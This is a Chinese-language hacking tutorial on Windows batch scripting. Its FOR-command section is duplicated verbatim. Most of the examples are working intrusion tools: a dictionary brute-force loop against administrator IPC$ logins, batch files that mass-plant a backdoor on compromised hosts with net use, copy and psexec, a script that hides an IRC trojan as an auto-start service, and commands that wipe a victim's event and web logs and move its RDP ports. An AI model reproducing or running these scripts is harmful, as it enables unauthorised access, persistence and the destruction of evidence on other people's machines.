filenameset 為一個(gè)或多個(gè)文件名。繼續到 filenameset中的下一個(gè)文件之前，每份文件都已被打開(kāi)、讀取并經(jīng)過(guò)處理。處理包括讀取文件，將其分成一行行的文字，然后將每行解析成零或更多的符號。然后用已找到的符號字符串變量值調用 For 循環(huán)。以默認方式，/F 通過(guò)每個(gè)文件的每一行中分開(kāi)的第一個(gè)空白符號。跳過(guò)空白行。您可通過(guò)指定可選"options"參數替代默認解析操作。這個(gè)帶引號的字符串包括一個(gè)或多個(gè)指定不同解析選項的關(guān)鍵字。這些關(guān)鍵字為:
eol=c - 指一個(gè)行注釋字符的結尾(就一個(gè))
skip=n - 指在文件開(kāi)始時(shí)忽略的行數。
delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個(gè)符號被傳遞到每個(gè)迭代的 for 本身。這會(huì )導致額外變量名稱(chēng)的格式為一個(gè)范圍。通過(guò) nth符號指定 m符號字符串中的最后一個(gè)字符星號，那么額外的變量將在最后一個(gè)符號解析之分配并接受行的保留文本。
usebackq - 指定新語(yǔ)法已在下類(lèi)情況中使用:在作為命令執行一個(gè)后引號的字符串并且引號字符為文字字符串命令并允許在 fi中使用雙引號擴起文件名稱(chēng)。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會(huì )分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將每行中的第二個(gè)和第三個(gè)符號傳遞給 for程序體；用逗號和/或空格定界符號。請注意，這個(gè) for 程序體的語(yǔ)句引用 %i 來(lái)取得第二個(gè)符號，引用 %j 來(lái)取得第三個(gè)符號，引用%k來(lái)取得第三個(gè)符號后的所有剩余符號。對于帶有空格的文件名，您需要用雙引號將文件名括起來(lái)。為了用這種方式來(lái)使用雙引號，您還需要使用usebackq 選項，否則，雙引號會(huì )被理解成是用作定義某個(gè)要分析的字符串的。
%i 專(zhuān)門(mén)在 for 語(yǔ)句中得到說(shuō)明，%j 和 %k 是通過(guò)tokens= 選項專(zhuān)門(mén)得到說(shuō)明的。您可以通過(guò)tokens= 一行指定最多 26 個(gè)符號，只要不試圖說(shuō)明一個(gè)高于字母 ‘z‘ 或‘Z‘ 的變量。請記住，FOR變量是單一字母、分大小寫(xiě)和全局的；同時(shí)不能有 52 個(gè)以上都在使用中。
您還可以在相鄰字符串上使用 FOR /F 分析邏輯；方法是，用單引號將括號之間的 filenameset 括起來(lái)。這樣，該字符串會(huì )被當作一個(gè)文件中的一個(gè)單一輸入行。
最后，您可以用 FOR /F 命令來(lái)分析命令的輸出。方法是，將括號之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì )被當作命令行，傳遞到一個(gè)子 CMD.EXE，其輸出會(huì )被抓進(jìn)內存，并被當作文件分析。因此，以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會(huì )枚舉當前環(huán)境中的環(huán)境變量名稱(chēng)。
另外，FOR 變量參照的替換已被增強。您現在可以使用下列選項語(yǔ)法:
~I - 刪除任何引號(")，擴充 %I
%~fI - 將 %I 擴充到一個(gè)完全合格的路徑名
%~dI - 僅將 %I 擴充到一個(gè)驅動(dòng)器號
%~pI - 僅將 %I 擴充到一個(gè)路徑
%~nI - 僅將 %I 擴充到一個(gè)文件名
%~xI - 僅將 %I 擴充到一個(gè)文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時(shí)間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環(huán)境變量的目錄，并將 %I 擴充到找到的第一個(gè)完全合格的名稱(chēng)。如果環(huán)境變量未被定義，或者沒(méi)有找到文件，此組合鍵會(huì )擴充空字符串
可以組合修飾符來(lái)得到多重結果:
%~dpI - 僅將 %I 擴充到一個(gè)驅動(dòng)器號和路徑
%~nxI - 僅將 %I 擴充到一個(gè)文件名和擴展名
%~fsI - 僅將 %I 擴充到一個(gè)帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄，并將 %I 擴充到找到的第一個(gè)驅動(dòng)器號和路徑。
%~ftzaI - 將 %I 擴充到類(lèi)似輸出線(xiàn)路的 DIR
在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語(yǔ)法用一個(gè)有效的 FOR 變量名終止。選取類(lèi)似 %I 的大寫(xiě)變量名比較易讀，而且避免與不分大小寫(xiě)的組合鍵混淆。
以上是MS的官方幫助，下面我們舉幾個(gè)例子來(lái)具體說(shuō)明一下For命令在入侵中的用途。
sample2：
利用For命令來(lái)實(shí)現對一臺目標Win2k主機的暴力密碼破解。
我們用net use \ipipc$ "password" /u:"administrator"來(lái)嘗試這和目標主機進(jìn)行連接，當成功時(shí)記下密碼。
最主要的命令是一條：for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator"
用i%來(lái)表示admin的密碼，在dict.txt中這個(gè)取i%的值用net use 命令來(lái)連接。然后將程序運行結果傳遞給find命令－－
for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ，這樣就ko了。
sample3：
你有沒(méi)有過(guò)手里有大量肉雞等著(zhù)你去種后門(mén)＋木馬呢？，當數量特別多的時(shí)候，原本很開(kāi)心的一件事都會(huì )變得很郁悶：）。文章開(kāi)頭就談到使用批處理文件，可以簡(jiǎn)化日?；蛑貜托匀蝿?wù)。那么如何實(shí)現呢？呵呵，看下去你就會(huì )明白了。
主要命令也只有一條：（在批處理文件中使用 FOR 命令時(shí)，指定變量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見(jiàn)上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無(wú)非就是用net use命令來(lái)建立IPC$連接，并copy木馬＋后門(mén)到victim，然后用返回碼（If errorlever =）來(lái)篩選成功種植后門(mén)的主機，并echo出來(lái)，或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來(lái)分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣的了。應該根據%%i %%j %%k表示的對象來(lái)排列，一般就是 ip password username。
代碼雛形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \%1ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \%1 c:winntsystem32windrv32.exe
@psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個(gè)自動(dòng)種植后門(mén)批處理的雛形，兩個(gè)批處理和后門(mén)程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶(hù)的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲(chóng)).此處不多做敘述,有興趣的朋友可自行研究.
filenameset 為一個(gè)或多個(gè)文件名。繼續到 filenameset中的下一個(gè)文件之前，每份文件都已被打開(kāi)、讀取并經(jīng)過(guò)處理。處理包括讀取文件，將其分成一行行的文字，然后將每行解析成零或更多的符號。然后用已找到的符號字符串變量值調用 For 循環(huán)。以默認方式，/F 通過(guò)每個(gè)文件的每一行中分開(kāi)的第一個(gè)空白符號。跳過(guò)空白行。您可通過(guò)指定可選"options"參數替代默認解析操作。這個(gè)帶引號的字符串包括一個(gè)或多個(gè)指定不同解析選項的關(guān)鍵字。這些關(guān)鍵字為:
eol=c - 指一個(gè)行注釋字符的結尾(就一個(gè))
skip=n - 指在文件開(kāi)始時(shí)忽略的行數。
delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個(gè)符號被傳遞到每個(gè)迭代的 for 本身。這會(huì )導致額外變量名稱(chēng)的格式為一個(gè)范圍。通過(guò) nth符號指定 m符號字符串中的最后一個(gè)字符星號，那么額外的變量將在最后一個(gè)符號解析之分配并接受行的保留文本。
usebackq - 指定新語(yǔ)法已在下類(lèi)情況中使用:在作為命令執行一個(gè)后引號的字符串并且引號字符為文字字符串命令并允許在 fi中使用雙引號擴起文件名稱(chēng)。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會(huì )分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將每行中的第二個(gè)和第三個(gè)符號傳遞給 for程序體；用逗號和/或空格定界符號。請注意，這個(gè) for 程序體的語(yǔ)句引用 %i 來(lái)取得第二個(gè)符號，引用 %j 來(lái)取得第三個(gè)符號，引用%k來(lái)取得第三個(gè)符號后的所有剩余符號。對于帶有空格的文件名，您需要用雙引號將文件名括起來(lái)。為了用這種方式來(lái)使用雙引號，您還需要使用usebackq 選項，否則，雙引號會(huì )被理解成是用作定義某個(gè)要分析的字符串的。
%i 專(zhuān)門(mén)在 for 語(yǔ)句中得到說(shuō)明，%j 和 %k 是通過(guò)tokens= 選項專(zhuān)門(mén)得到說(shuō)明的。您可以通過(guò)tokens= 一行指定最多 26 個(gè)符號，只要不試圖說(shuō)明一個(gè)高于字母 ‘z‘ 或‘Z‘ 的變量。請記住，FOR變量是單一字母、分大小寫(xiě)和全局的；同時(shí)不能有 52 個(gè)以上都在使用中。
您還可以在相鄰字符串上使用 FOR /F 分析邏輯；方法是，用單引號將括號之間的 filenameset 括起來(lái)。這樣，該字符串會(huì )被當作一個(gè)文件中的一個(gè)單一輸入行。
最后，您可以用 FOR /F 命令來(lái)分析命令的輸出。方法是，將括號之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì )被當作命令行，傳遞到一個(gè)子 CMD.EXE，其輸出會(huì )被抓進(jìn)內存，并被當作文件分析。因此，以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會(huì )枚舉當前環(huán)境中的環(huán)境變量名稱(chēng)。
另外，FOR 變量參照的替換已被增強。您現在可以使用下列選項語(yǔ)法:
~I - 刪除任何引號(")，擴充 %I
%~fI - 將 %I 擴充到一個(gè)完全合格的路徑名
%~dI - 僅將 %I 擴充到一個(gè)驅動(dòng)器號
%~pI - 僅將 %I 擴充到一個(gè)路徑
%~nI - 僅將 %I 擴充到一個(gè)文件名
%~xI - 僅將 %I 擴充到一個(gè)文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時(shí)間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環(huán)境變量的目錄，并將 %I 擴充到找到的第一個(gè)完全合格的名稱(chēng)。如果環(huán)境變量未被定義，或者沒(méi)有找到文件，此組合鍵會(huì )擴充空字符串
可以組合修飾符來(lái)得到多重結果:
%~dpI - 僅將 %I 擴充到一個(gè)驅動(dòng)器號和路徑
%~nxI - 僅將 %I 擴充到一個(gè)文件名和擴展名
%~fsI - 僅將 %I 擴充到一個(gè)帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄，并將 %I 擴充到找到的第一個(gè)驅動(dòng)器號和路徑。
%~ftzaI - 將 %I 擴充到類(lèi)似輸出線(xiàn)路的 DIR
在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語(yǔ)法用一個(gè)有效的 FOR 變量名終止。選取類(lèi)似 %I 的大寫(xiě)變量名比較易讀，而且避免與不分大小寫(xiě)的組合鍵混淆。
以上是MS的官方幫助，下面我們舉幾個(gè)例子來(lái)具體說(shuō)明一下For命令在入侵中的用途。
sample2：
利用For命令來(lái)實(shí)現對一臺目標Win2k主機的暴力密碼破解。
我們用net use \ipipc$ "password" /u:"administrator"來(lái)嘗試這和目標主機進(jìn)行連接，當成功時(shí)記下密碼。
最主要的命令是一條：for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator"
用i%來(lái)表示admin的密碼，在dict.txt中這個(gè)取i%的值用net use 命令來(lái)連接。然后將程序運行結果傳遞給find命令－－
for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ，這樣就ko了。
sample3：
你有沒(méi)有過(guò)手里有大量肉雞等著(zhù)你去種后門(mén)＋木馬呢？，當數量特別多的時(shí)候，原本很開(kāi)心的一件事都會(huì )變得很郁悶：）。文章開(kāi)頭就談到使用批處理文件，可以簡(jiǎn)化日?；蛑貜托匀蝿?wù)。那么如何實(shí)現呢？呵呵，看下去你就會(huì )明白了。
主要命令也只有一條：（在批處理文件中使用 FOR 命令時(shí)，指定變量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見(jiàn)上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無(wú)非就是用net use命令來(lái)建立IPC$連接，并copy木馬＋后門(mén)到victim，然后用返回碼（If errorlever =）來(lái)篩選成功種植后門(mén)的主機，并echo出來(lái)，或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來(lái)分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣的了。應該根據%%i %%j %%k表示的對象來(lái)排列，一般就是 ip password username。
代碼雛形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \%1ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \%1 c:winntsystem32windrv32.exe
@psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個(gè)自動(dòng)種植后門(mén)批處理的雛形，兩個(gè)批處理和后門(mén)程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶(hù)的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲(chóng)).此處不多做敘述,有興趣的朋友可自行研究.
二.如何在批處理文件中使用參數
批處理中可以使用參數，一般從1%到 9%這九個(gè)，當有多個(gè)參數時(shí)需要用shift來(lái)移動(dòng)，這種情況并不多見(jiàn)，我們就不考慮它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個(gè)例子用于連續地格式化幾張軟盤(pán)，所以用的時(shí)候需在dos窗口輸入fomat.bat a，呵呵,好像有點(diǎn)畫(huà)蛇添足了～^_^
sample2：
當我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令，弄不好就打錯了，所以我們不如把一些固定命令寫(xiě)入一個(gè)批處理，把肉雞地ip password username 當著(zhù)參數來(lái)賦給這個(gè)批處理，這樣就不用每次都打命令了。
@echo off
@net use \1%ipc$ "2%" /u:"3%" 注意哦，這里PASSWORD是第二個(gè)參數。
@if errorlevel 1 echo connection failed
怎么樣,使用參數還是比較簡(jiǎn)單的吧？你這么帥一定學(xué)會(huì )了^_^.
三.如何使用組合命令(Compound Command)
1.&
Usage：第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時(shí)執行多條命令，而不管命令是否執行成功
Sample：
C:>dir z: & dir c:Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage：第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時(shí)執行多條命令，當碰到執行出錯的命令后將不執行后面的命令，如果一直沒(méi)有出錯則一直執行完所有命令；
Sample：
C:>dir z: && dir c:Ex4rch
The system cannot find the path specified.
C:>dir c:Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時(shí)候可能會(huì )用到這種命令會(huì )比較簡(jiǎn)單，如：
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
如果遠程服務(wù)器上存在backup.mdb文件，就執行copy命令，若不存在該文件則不執行copy命令。這種用法可以替換IF exist了 ：）
3.||
Usage：第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法可以同時(shí)執行多條命令，當碰到執行正確的命令后將不執行后面的命令，如果沒(méi)有出現正確的命令則一直執行完所有命令；
Sample：
C:Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子：
sample：
@copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.| 命令
Usage：第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作為第二條命令的參數來(lái)使用，記得在unix中這種方式很常見(jiàn)。
sample：
time /t>>D:IP.log
netstat -n -p tcp|find ":3389">>D:IP.log
start Explorer
看出來(lái)了么？用于終端服務(wù)允許我們?yōu)橛脩?hù)自定義起始的程序，來(lái)實(shí)現讓用戶(hù)運行下面這個(gè)bat，以獲得登錄用戶(hù)的IP。
2.>、>>輸出重定向命令
將一條命令或某個(gè)程序輸出結果的重定向到特定文件中, > 與 >>的區別在于，>會(huì )清除調原有文件中的內容后寫(xiě)入指定文件，而>>只會(huì )追加內容到指定文件中，而不會(huì )改動(dòng)其中的內容。
sample1：
echo hello world>c:hello.txt (stupid example?)
sample2:
時(shí)下DLL木馬盛行，我們知道system32是個(gè)捉迷藏的好地方，許多木馬都削尖了腦袋往那里鉆，DLL馬也不例外，針對這一點(diǎn)我們可以在安裝好系統和必要的應用程序后，對該目錄下的EXE和DLL文件作一個(gè)記錄：
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱(chēng)都被分別記錄到exeback.txt和dllback.txt中,
日后如發(fā)現異常但用傳統的方法查不出問(wèn)題時(shí),則要考慮是不是系統中已經(jīng)潛入DLL木馬了.
這時(shí)我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然后運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txtdllback1.txt>diff.txt.(用FC命令比較前后兩次的DLL和EXE文件,并將結果輸入到diff.txt中),這樣我們就能發(fā)現一些多出來(lái)的DLL和EXE文件,然后通過(guò)查看創(chuàng )建時(shí)間、版本、是否經(jīng)過(guò)壓縮等就能夠比較容易地判斷出是不是已經(jīng)被DLL木馬光顧了。沒(méi)有是最好，如果有的話(huà)也不要直接DEL掉，先用regsvr32 /utrojan.dll將后門(mén)DLL文件注銷(xiāo)掉,再把它移到回收站里，若系統沒(méi)有異常反映再將之徹底刪除或者提交給殺毒軟件公司。
3.< 、>& 、<&
< 從文件中而不是從鍵盤(pán)中讀入命令輸入。
>& 將一個(gè)句柄的輸出寫(xiě)入到另一個(gè)句柄的輸入中。
<& 從一個(gè)句柄讀取輸入并將其寫(xiě)入到另一個(gè)句柄輸出中。
這些并不常用，也就不多做介紹。
五.如何用批處理文件來(lái)操作注冊表
在入侵過(guò)程中經(jīng)?；夭僮髯员淼奶囟ǖ逆I值來(lái)實(shí)現一定的目的，例如:為了達到隱藏后門(mén)、木馬程序而刪除Run下殘余的鍵值?；蛘邉?chuàng )建一個(gè)服務(wù)用以加載后門(mén)。當然我們也會(huì )修改注冊表來(lái)加固系統或者改變系統的某個(gè)屬性，這些都需要我們對注冊表操作有一定的了解。下面我們就先學(xué)習一下如何使用.REG文件來(lái)操作注冊表.(我們可以用批處理來(lái)生成一個(gè)REG文件)
關(guān)于注冊表的操作，常見(jiàn)的是創(chuàng )建、修改、刪除。
1.創(chuàng )建
創(chuàng )建分為兩種，一種是創(chuàng )建子項(Subkey)
我們創(chuàng )建一個(gè)文件，內容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]
然后執行該腳本，你就已經(jīng)在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下創(chuàng )建了一個(gè)名字為“hacker”的子項。
另一種是創(chuàng )建一個(gè)項目名稱(chēng)
那這種文件格式就是典型的文件格式，和你從注冊表中導出的文件格式一致，內容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"Door"=C:\WINNT\system32\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
新建了:Invader、door、about這三個(gè)項目
Invader的類(lèi)型是“String Value”
door的類(lèi)型是“REG SZ Value”
Autodos的類(lèi)型是“DWORD Value”
2.修改
修改相對來(lái)說(shuō)比較簡(jiǎn)單，只要把你需要修改的項目導出，然后用記事本進(jìn)行修改，然后導入（regedit /s）即可。
3.刪除
我們首先來(lái)說(shuō)說(shuō)刪除一個(gè)項目名稱(chēng)，我們創(chuàng )建一個(gè)如下的文件：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Ex4rch"=-
執行該腳本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被刪除了；
我們再看看刪除一個(gè)子項，我們創(chuàng )建一個(gè)如下的腳本：
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
執行該腳本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已經(jīng)被刪除了。
相信看到這里，.reg文件你基本已經(jīng)掌握了。那么現在的目標就是用批處理來(lái)創(chuàng )建特定內容的.reg文件了，記得我們前面說(shuō)道的利用重定向符號可以很容易地創(chuàng )建特定類(lèi)型的文件。
samlpe1:如上面的那個(gè)例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣：
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我們現在在使用一些比較老的木馬時(shí),可能會(huì )在注冊表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一個(gè)鍵值用來(lái)實(shí)現木馬的自啟動(dòng).但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將木馬程序注冊為系統服務(wù)則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在注冊表中的啟動(dòng)項，用sc.exe將之注冊為系統關(guān)鍵性服務(wù)的同時(shí)將其屬性設為隱藏和只讀，并config為自啟動(dòng)]
@REM 這樣不是更安全^_^.
六.精彩實(shí)例放送
1.刪除win2k/xp系統默認共享的批處理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
echo "AutoShareWks"=dword:00000000>> c:delshare.reg
echo "AutoShareServer"=dword:00000000>> c:delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:delshare.reg
echo Deleting the temprotarily files.
del c:delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail toEx4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系統（給肉雞打補?。┑呐幚砦募?br> ------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登錄](méi)
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件訪(fǎng)問(wèn)和打印共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登錄前關(guān)機]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止顯示前一個(gè)登錄用戶(hù)名稱(chēng)]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉雞所有日志，禁止一些危險的服務(wù)，并修改肉雞的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:winntsystem32logfilesw3svc1*.* /f /q
@del c:winntsystem32logfilesw3svc2*.* /f /q
@del c:winntsystem32config*.event /f /q
@del c:winntsystem32dtclog*.* /f /q
@del c:winnt*.txt /f /q
@del c:winnt*.log /f /q
@net start w3svc
@net start event log
@rem [刪除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危險的服務(wù)。]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
